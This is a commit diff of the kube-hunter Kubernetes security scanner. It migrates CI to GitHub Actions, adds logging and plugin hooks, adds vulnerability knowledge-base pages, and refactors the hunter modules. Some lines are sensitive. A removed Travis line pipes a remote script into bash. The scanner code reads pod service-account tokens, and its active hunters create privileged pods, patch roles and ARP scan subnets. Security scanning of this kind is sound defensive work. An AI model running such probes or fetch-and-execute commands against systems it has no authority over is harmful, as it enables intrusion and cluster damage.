Update the build status badge to point to Github Actions

* removed old dependency for cap_net_raw, by stop usage of tracerouting when running as a pod

* removed unused imports

.github/workflows/lint.yml

@@ -0,0 +1,12 @@
+name: Lint
+
+on: [push, pull_request]
+
+jobs:
+  build:
+    runs-on: ubuntu-20.04
+
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/setup-python@v2
+      - uses: pre-commit/action@v2.0.0

.github/workflows/test.yml

@@ -0,0 +1,54 @@
+name: Test
+
+on: [push, pull_request]
+
+env:
+  FORCE_COLOR: 1
+
+jobs:
+  build:
+    runs-on: ${{ matrix.os }}
+    strategy:
+      fail-fast: false
+      matrix:
+        python-version: ["3.6", "3.7", "3.8", "3.9"]
+        os: [ubuntu-20.04, ubuntu-18.04, ubuntu-16.04]
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Set up Python ${{ matrix.python-version }}
+        uses: actions/setup-python@v2
+        with:
+          python-version: ${{ matrix.python-version }}
+
+      - name: Get pip cache dir
+        id: pip-cache
+        run: |
+          echo "::set-output name=dir::$(pip cache dir)"
+
+      - name: Cache
+        uses: actions/cache@v2
+        with:
+          path: ${{ steps.pip-cache.outputs.dir }}
+          key:
+            ${{ matrix.os }}-${{ matrix.python-version }}-${{ hashFiles('requirements-dev.txt') }}
+          restore-keys: |
+            ${{ matrix.os }}-${{ matrix.python-version }}-
+
+      - name: Install dependencies
+        run: |
+          python -m pip install -U pip
+          python -m pip install -U wheel
+          python -m pip install -r requirements.txt
+          python -m pip install -r requirements-dev.txt
+
+      - name: Test
+        shell: bash
+        run: |
+          make test
+
+      - name: Upload coverage
+        uses: codecov/codecov-action@v1
+        with:
+          name: ${{ matrix.os }} Python ${{ matrix.python-version }}

.gitignore

@@ -24,6 +24,7 @@ var/
 *.egg
 *.spec
 .eggs
+pip-wheel-metadata
 
 # Directory Cache Files
 .DS_Store

.travis.yml

@@ -1,20 +0,0 @@
-group: travis_latest
-language: python
-cache: pip
-python:
-    - "3.6"
-    - "3.7"
-    - "3.8"
-install:
-  - pip install -r requirements.txt
-  - pip install -r requirements-dev.txt
-before_script:
-  - make lint-check
-script:
-  - make test
-after_success:
-  -  bash <(curl -s https://codecov.io/bash)
-notifications:
-  email:
-    on_success: change
-    on_failure: always

Dockerfile

@@ -16,4 +16,14 @@ RUN make deps
 COPY . .
 RUN make install
 
+FROM python:3.8-alpine
+
+RUN apk add --no-cache \
+    tcpdump \
+    ebtables && \
+    apk upgrade --no-cache
+
+COPY --from=builder /usr/local/lib/python3.8/site-packages /usr/local/lib/python3.8/site-packages
+COPY --from=builder /usr/local/bin/kube-hunter /usr/local/bin/kube-hunter
+
 ENTRYPOINT ["kube-hunter"]

README.md

@@ -1,6 +1,6 @@
 ![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter.png)
 
-[![Build Status](https://travis-ci.org/aquasecurity/kube-hunter.svg?branch=master)](https://travis-ci.org/aquasecurity/kube-hunter)
+[![Build Status](https://github.com/aquasecurity/kube-hunter/workflows/Test/badge.svg)](https://github.com/aquasecurity/kube-hunter/actions)
 [![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/master/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter)
 [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
 [![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE)
@@ -14,7 +14,7 @@ kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was d
 
 **Explore vulnerabilities**: The kube-hunter knowledge base includes articles about discoverable vulnerabilities and issues. When kube-hunter reports an issue, it will show its VID (Vulnerability ID) so you can look it up in the KB at https://aquasecurity.github.io/kube-hunter/
 
-**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](kube_hunter/CONTRIBUTING.md).
+**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md).
 
 [![kube-hunter demo video](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter-screenshot.png)](https://youtu.be/s2-6rTkH8a8?t=57s)
 
@@ -34,6 +34,7 @@ Table of Contents
       * [Prerequisites](#prerequisites)
    * [Container](#container)
    * [Pod](#pod)
+* [Contribution](#contribution)
          
 ## Hunting
 
@@ -174,5 +175,8 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
 * Find the pod name with `kubectl describe job kube-hunter`
 * View the test results with `kubectl logs <pod name>`
 
+## Contribution 
+To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md"> Click here </a>
+
 ## License
 This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).

docs/_kb/KHV005.md

@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
 
 ## Remediation
 
-Secure acess to your Kubernetes API.
+Secure access to your Kubernetes API.
 
 It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.
 

docs/_kb/KHV051.md

@@ -0,0 +1,40 @@
+---
+vid: KHV051
+title: Exposed Existing Privileged Containers Via Secure Kubelet Port
+categories: [Access Risk]
+---
+
+# {{ page.vid }} - {{ page.title }}
+
+## Issue description
+
+The kubelet is configured to allow anonymous (unauthenticated) requests to its HTTPs API. This may expose certain information and capabilities to an attacker with access to the kubelet API.
+
+A privileged container is given access to all devices on the host and can work at the kernel level. It is declared using the `Pod.spec.containers[].securityContext.privileged` attribute. This may be useful for infrastructure containers that perform setup work on the host, but is a dangerous attack vector.
+
+Furthermore, if the kubelet **and** the API server authentication mechanisms are (mis)configured such that anonymous requests can execute commands via the API within the containers (specifically privileged ones), a malicious actor can leverage such capabilities to do way more damage in the cluster than expected: e.g. start/modify process on host.
+
+## Remediation
+
+Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
+
+Minimize the use of privileged containers.
+
+Use Pod Security Policies to enforce using `privileged: false` policy. 
+
+Review the RBAC permissions to Kubernetes API server for the anonymous and default service account, including bindings.
+
+Ensure node(s) runs active filesystem monitoring.
+
+Set `--insecure-port=0` and remove `--insecure-bind-address=0.0.0.0` in the Kubernetes API server config.
+
+Remove `AlwaysAllow` from `--authorization-mode` in the Kubernetes API server config. Alternatively, set `--anonymous-auth=false` in the Kubernetes API server config; this will depend on the API server version running.
+
+## References
+
+- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)
+- [Privileged mode for pod containers](https://kubernetes.io/docs/concepts/workloads/pods/pod/#privileged-mode-for-pod-containers)
+- [Pod Security Policies - Privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)
+- [Using RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
+- [KHV005 - Access to Kubernetes API]({{ site.baseurl }}{% link _kb/KHV005.md %})
+- [KHV036 - Anonymous Authentication]({{ site.baseurl }}{% link _kb/KHV036.md %})

docs/_kb/KHV052.md

@@ -0,0 +1,23 @@
+---
+vid: KHV052
+title: Exposed Pods
+categories: [Information Disclosure]
+---
+
+# {{ page.vid }} - {{ page.title }}
+
+## Issue description
+
+An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
+This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
+
+## Remediation
+
+Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
+
+Disable the readonly port by using `--read-only-port=0` kubelet flag.
+
+## References
+
+- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
+- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)

job.yaml

@@ -8,7 +8,7 @@ spec:
       containers:
       - name: kube-hunter
         image: aquasec/kube-hunter 
-        command: ["python", "kube-hunter.py"]
+        command: ["kube-hunter"]
         args: ["--pod"]
       restartPolicy: Never
   backoffLimit: 4

kube_hunter/__main__.py

@@ -8,12 +8,17 @@ from kube_hunter.conf import Config, set_config
 from kube_hunter.conf.parser import parse_args
 from kube_hunter.conf.logging import setup_logger
 
-args = parse_args()
+from kube_hunter.plugins import initialize_plugin_manager
+
+pm = initialize_plugin_manager()
+# Using a plugin hook for adding arguments before parsing
+args = parse_args(add_args_hook=pm.hook.parser_add_arguments)
 config = Config(
     active=args.active,
     cidr=args.cidr,
     include_patched_versions=args.include_patched_versions,
     interface=args.interface,
+    log_file=args.log_file,
     mapping=args.mapping,
     network_timeout=args.network_timeout,
     pod=args.pod,
@@ -21,9 +26,12 @@ config = Config(
     remote=args.remote,
     statistics=args.statistics,
 )
-setup_logger(args.log)
+setup_logger(args.log, args.log_file)
 set_config(config)
 
+# Running all other registered plugins before execution
+pm.hook.load_plugin(args=args)
+
 from kube_hunter.core.events import handler
 from kube_hunter.core.events.types import HuntFinished, HuntStarted
 from kube_hunter.modules.discovery.hosts import RunningAsPodEvent, HostScanEvent
@@ -65,13 +73,13 @@ def list_hunters():
     print("\nPassive Hunters:\n----------------")
     for hunter, docs in handler.passive_hunters.items():
         name, doc = hunter.parse_docs(docs)
-        print("* {}\n  {}\n".format(name, doc))
+        print(f"* {name}\n  {doc}\n")
 
     if config.active:
         print("\n\nActive Hunters:\n---------------")
         for hunter, docs in handler.active_hunters.items():
             name, doc = hunter.parse_docs(docs)
-            print("* {}\n  {}\n".format(name, doc))
+            print(f"* {name}\n  {doc}\n")
 
 
 hunt_started_lock = threading.Lock()

kube_hunter/conf/__init__.py

@@ -4,7 +4,7 @@ from typing import Any, Optional
 
 @dataclass
 class Config:
-    """ Config is a configuration container.
+    """Config is a configuration container.
     It contains the following fields:
     - active: Enable active hunters
     - cidr: Network subnets to scan
@@ -13,6 +13,7 @@ class Config:
     - interface: Interface scanning mode
     - list_hunters: Print a list of existing hunters
     - log_level: Log level
+    - log_file: Log File path
     - mapping: Report only found components
     - network_timeout: Timeout for network operations
     - pod: From pod scanning mode
@@ -27,6 +28,7 @@ class Config:
     dispatcher: Optional[Any] = None
     include_patched_versions: bool = False
     interface: bool = False
+    log_file: Optional[str] = None
     mapping: bool = False
     network_timeout: float = 5.0
     pod: bool = False

kube_hunter/conf/logging.py

@@ -1,6 +1,5 @@
 import logging
 
-
 DEFAULT_LEVEL = logging.INFO
 DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
 LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
@@ -10,7 +9,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
 logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
 
 
-def setup_logger(level_name):
+def setup_logger(level_name, logfile):
     # Remove any existing handlers
     # Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
     for h in logging.getLogger().handlers[:]:
@@ -22,6 +21,9 @@ def setup_logger(level_name):
     else:
         log_level = getattr(logging, level_name.upper(), None)
         log_level = log_level if isinstance(log_level, int) else None
-        logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
+        if logfile is None:
+            logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
+        else:
+            logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
         if not log_level:
             logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")

kube_hunter/conf/parser.py

@@ -1,11 +1,17 @@
 from argparse import ArgumentParser
+from kube_hunter.plugins import hookimpl
 
 
-def parse_args():
+@hookimpl
-    parser = ArgumentParser(description="kube-hunter - hunt for security weaknesses in Kubernetes clusters")
+def parser_add_arguments(parser):
-
+    """
+    This is the default hook implementation for parse_add_argument
+    Contains initialization for all default arguments
+    """
     parser.add_argument(
-        "--list", action="store_true", help="Displays all tests in kubehunter (add --active flag to see active tests)",
+        "--list",
+        action="store_true",
+        help="Displays all tests in kubehunter (add --active flag to see active tests)",
     )
 
     parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces")
@@ -15,7 +21,9 @@ def parse_args():
     parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)")
 
     parser.add_argument(
-        "--include-patched-versions", action="store_true", help="Don't skip patched versions when scanning",
+        "--include-patched-versions",
+        action="store_true",
+        help="Don't skip patched versions when scanning",
     )
 
     parser.add_argument(
@@ -25,11 +33,17 @@ def parse_args():
     )
 
     parser.add_argument(
-        "--mapping", action="store_true", help="Outputs only a mapping of the cluster's nodes",
+        "--mapping",
+        action="store_true",
+        help="Outputs only a mapping of the cluster's nodes",
     )
 
     parser.add_argument(
-        "--remote", nargs="+", metavar="HOST", default=list(), help="One or more remote ip/dns to hunt",
+        "--remote",
+        nargs="+",
+        metavar="HOST",
+        default=list(),
+        help="One or more remote ip/dns to hunt",
     )
 
     parser.add_argument("--active", action="store_true", help="Enables active hunting")
@@ -43,7 +57,17 @@ def parse_args():
     )
 
     parser.add_argument(
-        "--report", type=str, default="plain", help="Set report type, options are: plain, yaml, json",
+        "--log-file",
+        type=str,
+        default=None,
+        help="Path to a log file to output all logs to",
+    )
+
+    parser.add_argument(
+        "--report",
+        type=str,
+        default="plain",
+        help="Set report type, options are: plain, yaml, json",
     )
 
     parser.add_argument(
@@ -59,6 +83,18 @@ def parse_args():
 
     parser.add_argument("--network-timeout", type=float, default=5.0, help="network operations timeout")
 
+
+def parse_args(add_args_hook):
+    """
+    Function handles all argument parsing
+
+    @param add_arguments: hook for adding arguments to it's given ArgumentParser parameter
+    @return: parsed arguments dict
+    """
+    parser = ArgumentParser(description="kube-hunter - hunt for security weaknesses in Kubernetes clusters")
+    # adding all arguments to the parser
+    add_args_hook(parser=parser)
+
     args = parser.parse_args()
     if args.cidr:
         args.cidr = args.cidr.replace(" ", "").split(",")

kube_hunter/core/events/handler.py

@@ -14,7 +14,7 @@ logger = logging.getLogger(__name__)
 # Inherits Queue object, handles events asynchronously
 class EventQueue(Queue):
     def __init__(self, num_worker=10):
-        super(EventQueue, self).__init__()
+        super().__init__()
         self.passive_hunters = dict()
         self.active_hunters = dict()
         self.all_hunters = dict()

kube_hunter/core/events/types.py

@@ -144,7 +144,8 @@ class NewHostEvent(Event):
             logger.debug("Checking whether the cluster is deployed on azure's cloud")
             # Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection
             result = requests.get(
-                f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", timeout=config.network_timeout,
+                f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}",
+                timeout=config.network_timeout,
             ).json()
             return result["cloud"] or "NoCloud"
         except requests.ConnectionError:
@@ -194,7 +195,11 @@ class K8sVersionDisclosure(Vulnerability, Event):
 
     def __init__(self, version, from_endpoint, extra_info=""):
         Vulnerability.__init__(
-            self, KubernetesCluster, "K8s Version Disclosure", category=InformationDisclosure, vid="KHV002",
+            self,
+            KubernetesCluster,
+            "K8s Version Disclosure",
+            category=InformationDisclosure,
+            vid="KHV002",
         )
         self.version = version
         self.from_endpoint = from_endpoint

kube_hunter/modules/discovery/hosts.py

@@ -5,8 +5,7 @@ import requests
 
 from enum import Enum
 from netaddr import IPNetwork, IPAddress, AddrFormatError
-from netifaces import AF_INET, ifaddresses, interfaces
+from netifaces import AF_INET, ifaddresses, interfaces, gateways
-from scapy.all import ICMP, IP, Ether, srp1
 
 from kube_hunter.conf import get_config
 from kube_hunter.core.events import handler
@@ -37,7 +36,7 @@ class RunningAsPodEvent(Event):
         try:
             with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
                 return f.read()
-        except IOError:
+        except OSError:
             pass
 
 
@@ -46,10 +45,14 @@ class AzureMetadataApi(Vulnerability, Event):
 
     def __init__(self, cidr):
         Vulnerability.__init__(
-            self, Azure, "Azure Metadata Exposure", category=InformationDisclosure, vid="KHV003",
+            self,
+            Azure,
+            "Azure Metadata Exposure",
+            category=InformationDisclosure,
+            vid="KHV003",
         )
         self.cidr = cidr
-        self.evidence = "cidr: {}".format(cidr)
+        self.evidence = f"cidr: {cidr}"
 
 
 class HostScanEvent(Event):
@@ -105,7 +108,7 @@ class FromPodHostDiscovery(Discovery):
             if self.is_azure_pod():
                 subnets, cloud = self.azure_metadata_discovery()
             else:
-                subnets = self.traceroute_discovery()
+                subnets = self.gateway_discovery()
 
             should_scan_apiserver = False
             if self.event.kubeservicehost:
@@ -137,12 +140,9 @@ class FromPodHostDiscovery(Discovery):
             return False
 
     # for pod scanning
-    def traceroute_discovery(self):
+    def gateway_discovery(self):
-        config = get_config()
+        """ Retrieving default gateway of pod, which is usually also a contact point with the host """
-        node_internal_ip = srp1(
+        return [[gateways()["default"][AF_INET][0], "24"]]
-            Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
-        )[IP].src
-        return [[node_internal_ip, "24"]]
 
     # querying azure's interface metadata api | works only from a pod
     def azure_metadata_discovery(self):

kube_hunter/modules/hunting/aks.py

@@ -16,7 +16,11 @@ class AzureSpnExposure(Vulnerability, Event):
 
     def __init__(self, container):
         Vulnerability.__init__(
-            self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004",
+            self,
+            Azure,
+            "Azure SPN Exposure",
+            category=IdentityTheft,
+            vid="KHV004",
         )
         self.container = container
 
@@ -42,11 +46,16 @@ class AzureSpnHunter(Hunter):
             logger.debug("failed getting pod info")
         else:
             pods_data = r.json().get("items", [])
+            suspicious_volume_names = []
             for pod_data in pods_data:
-                for container in pod_data["spec"]["containers"]:
+                for volume in pod_data["spec"].get("volumes", []):
-                    for mount in container["volumeMounts"]:
+                    if volume.get("hostPath"):
-                        path = mount["mountPath"]
+                        path = volume["hostPath"]["path"]
                         if "/etc/kubernetes/azure.json".startswith(path):
+                            suspicious_volume_names.append(volume["name"])
+                for container in pod_data["spec"]["containers"]:
+                    for mount in container.get("volumeMounts", []):
+                        if mount["name"] in suspicious_volume_names:
                             return {
                                 "name": container["name"],
                                 "pod": pod_data["metadata"]["name"],

kube_hunter/modules/hunting/apiserver.py

@@ -29,7 +29,11 @@ class ServerApiAccess(Vulnerability, Event):
             name = "Unauthenticated access to API"
             category = UnauthenticatedAccess
         Vulnerability.__init__(
-            self, KubernetesCluster, name=name, category=category, vid="KHV005",
+            self,
+            KubernetesCluster,
+            name=name,
+            category=category,
+            vid="KHV005",
         )
         self.evidence = evidence
 
@@ -42,19 +46,30 @@ class ServerApiHTTPAccess(Vulnerability, Event):
         name = "Insecure (HTTP) access to API"
         category = UnauthenticatedAccess
         Vulnerability.__init__(
-            self, KubernetesCluster, name=name, category=category, vid="KHV006",
+            self,
+            KubernetesCluster,
+            name=name,
+            category=category,
+            vid="KHV006",
         )
         self.evidence = evidence
 
 
 class ApiInfoDisclosure(Vulnerability, Event):
+    """Information Disclosure depending upon RBAC permissions and Kube-Cluster Setup"""
+
     def __init__(self, evidence, using_token, name):
+        category = InformationDisclosure
         if using_token:
-            name += " using service account token"
+            name += " using default service account token"
         else:
             name += " as anonymous user"
         Vulnerability.__init__(
-            self, KubernetesCluster, name=name, category=InformationDisclosure, vid="KHV007",
+            self,
+            KubernetesCluster,
+            name=name,
+            category=category,
+            vid="KHV007",
         )
         self.evidence = evidence
 
@@ -89,12 +104,14 @@ class ListClusterRoles(ApiInfoDisclosure):
 
 class CreateANamespace(Vulnerability, Event):
 
-    """ Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in.
+    """Creating a namespace might give an attacker an area with default (exploitable) permissions to run pods in."""
-    """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Created a namespace", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Created a namespace",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -105,14 +122,17 @@ class DeleteANamespace(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Delete a namespace", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Delete a namespace",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
 
 class CreateARole(Vulnerability, Event):
-    """ Creating a role might give an attacker the option to harm the normal behavior of newly created pods
+    """Creating a role might give an attacker the option to harm the normal behavior of newly created pods
-     within the specified namespaces.
+    within the specified namespaces.
     """
 
     def __init__(self, evidence):
@@ -121,37 +141,46 @@ class CreateARole(Vulnerability, Event):
 
 
 class CreateAClusterRole(Vulnerability, Event):
-    """ Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
+    """Creating a cluster role might give an attacker the option to harm the normal behavior of newly created pods
-     across the whole cluster
+    across the whole cluster
     """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Created a cluster role", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Created a cluster role",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
 
 class PatchARole(Vulnerability, Event):
-    """ Patching a role might give an attacker the option to create new pods with custom roles within the
+    """Patching a role might give an attacker the option to create new pods with custom roles within the
     specific role's namespace scope
     """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Patched a role", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Patched a role",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
 
 class PatchAClusterRole(Vulnerability, Event):
-    """ Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
+    """Patching a cluster role might give an attacker the option to create new pods with custom roles within the whole
     cluster scope.
     """
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Patched a cluster role", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Patched a cluster role",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -161,7 +190,10 @@ class DeleteARole(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Deleted a role", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Deleted a role",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -171,7 +203,10 @@ class DeleteAClusterRole(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Deleted a cluster role", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Deleted a cluster role",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -181,7 +216,10 @@ class CreateAPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Created A Pod", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Created A Pod",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -191,7 +229,10 @@ class CreateAPrivilegedPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Created A PRIVILEGED Pod", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Created A PRIVILEGED Pod",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -201,7 +242,10 @@ class PatchAPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Patched A Pod", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Patched A Pod",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -211,7 +255,10 @@ class DeleteAPod(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Deleted A Pod", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="Deleted A Pod",
+            category=AccessRisk,
         )
         self.evidence = evidence
 
@@ -225,7 +272,7 @@ class ApiServerPassiveHunterFinished(Event):
 # If we have a service account token we'll also trigger AccessApiServerWithToken below
 @handler.subscribe(ApiServer)
 class AccessApiServer(Hunter):
-    """ API Server Hunter
+    """API Server Hunter
     Checks if API server is accessible
     """
 
@@ -268,7 +315,10 @@ class AccessApiServer(Hunter):
         try:
             if not namespace:
                 r = requests.get(
-                    f"{self.path}/api/v1/pods", headers=self.headers, verify=False, timeout=config.network_timeout,
+                    f"{self.path}/api/v1/pods",
+                    headers=self.headers,
+                    verify=False,
+                    timeout=config.network_timeout,
                 )
             else:
                 r = requests.get(
@@ -296,7 +346,7 @@ class AccessApiServer(Hunter):
             else:
                 self.publish_event(ServerApiAccess(api, self.with_token))
 
-        namespaces = self.get_items("{path}/api/v1/namespaces".format(path=self.path))
+        namespaces = self.get_items(f"{self.path}/api/v1/namespaces")
         if namespaces:
             self.publish_event(ListNamespaces(namespaces, self.with_token))
 
@@ -319,12 +369,12 @@ class AccessApiServer(Hunter):
 
 @handler.subscribe(ApiServer, predicate=lambda x: x.auth_token)
 class AccessApiServerWithToken(AccessApiServer):
-    """ API Server Hunter
+    """API Server Hunter
     Accessing the API server using the service account token obtained from a compromised pod
     """
 
     def __init__(self, event):
-        super(AccessApiServerWithToken, self).__init__(event)
+        super().__init__(event)
         assert self.event.auth_token
         self.headers = {"Authorization": f"Bearer {self.event.auth_token}"}
         self.category = InformationDisclosure
@@ -411,7 +461,8 @@ class AccessApiServerActive(ActiveHunter):
     def patch_a_pod(self, namespace, pod_name):
         data = [{"op": "add", "path": "/hello", "value": ["world"]}]
         return self.patch_item(
-            path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}", data=json.dumps(data),
+            path=f"{self.path}/api/v1/namespaces/{namespace}/pods/{pod_name}",
+            data=json.dumps(data),
         )
 
     def create_namespace(self):
@@ -438,7 +489,8 @@ class AccessApiServerActive(ActiveHunter):
             "rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
         }
         return self.create_item(
-            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles", data=json.dumps(role),
+            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/namespaces/{namespace}/roles",
+            data=json.dumps(role),
         )
 
     def create_a_cluster_role(self):
@@ -450,7 +502,8 @@ class AccessApiServerActive(ActiveHunter):
             "rules": [{"apiGroups": [""], "resources": ["pods"], "verbs": ["get", "watch", "list"]}],
         }
         return self.create_item(
-            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles", data=json.dumps(cluster_role),
+            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles",
+            data=json.dumps(cluster_role),
         )
 
     def delete_a_role(self, namespace, name):
@@ -477,7 +530,8 @@ class AccessApiServerActive(ActiveHunter):
     def patch_a_cluster_role(self, cluster_role):
         data = [{"op": "add", "path": "/hello", "value": ["world"]}]
         return self.patch_item(
-            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", data=json.dumps(data),
+            path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}",
+            data=json.dumps(data),
         )
 
     def execute(self):

kube_hunter/modules/hunting/arp.py

@@ -17,7 +17,11 @@ class PossibleArpSpoofing(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, KubernetesCluster, "Possible Arp Spoof", category=IdentityTheft, vid="KHV020",
+            self,
+            KubernetesCluster,
+            "Possible Arp Spoof",
+            category=IdentityTheft,
+            vid="KHV020",
         )
 
 
@@ -39,7 +43,7 @@ class ArpSpoofHunter(ActiveHunter):
     def detect_l3_on_host(self, arp_responses):
         """ returns True for an existence of an L3 network plugin """
         logger.debug("Attempting to detect L3 network plugin using ARP")
-        unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
+        unique_macs = list({response[ARP].hwsrc for _, response in arp_responses})
 
         # if LAN addresses not unique
         if len(unique_macs) == 1:
@@ -55,7 +59,9 @@ class ArpSpoofHunter(ActiveHunter):
         config = get_config()
         self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
         arp_responses, _ = srp(
-            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
+            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
+            timeout=config.network_timeout,
+            verbose=0,
         )
 
         # arp enabled on cluster and more than one pod on node

kube_hunter/modules/hunting/capabilities.py

@@ -17,7 +17,10 @@ class CapNetRawEnabled(Event, Vulnerability):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="CAP_NET_RAW Enabled", category=AccessRisk,
+            self,
+            KubernetesCluster,
+            name="CAP_NET_RAW Enabled",
+            category=AccessRisk,
         )
 
 

kube_hunter/modules/hunting/certificates.py

@@ -8,18 +8,24 @@ from kube_hunter.core.events import handler
 from kube_hunter.core.events.types import Vulnerability, Event, Service
 
 logger = logging.getLogger(__name__)
-email_pattern = re.compile(rb"([a-z0-9]+@[a-z0-9]+\.[a-z0-9]+)")
+email_pattern = re.compile(rb"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)")
 
 
 class CertificateEmail(Vulnerability, Event):
-    """Certificate includes an email address"""
+    """The Kubernetes API Server advertises a public certificate for TLS.
+    This certificate includes an email address, that may provide additional information for an attacker on your
+    organization, or be abused for further email based attacks."""
 
     def __init__(self, email):
         Vulnerability.__init__(
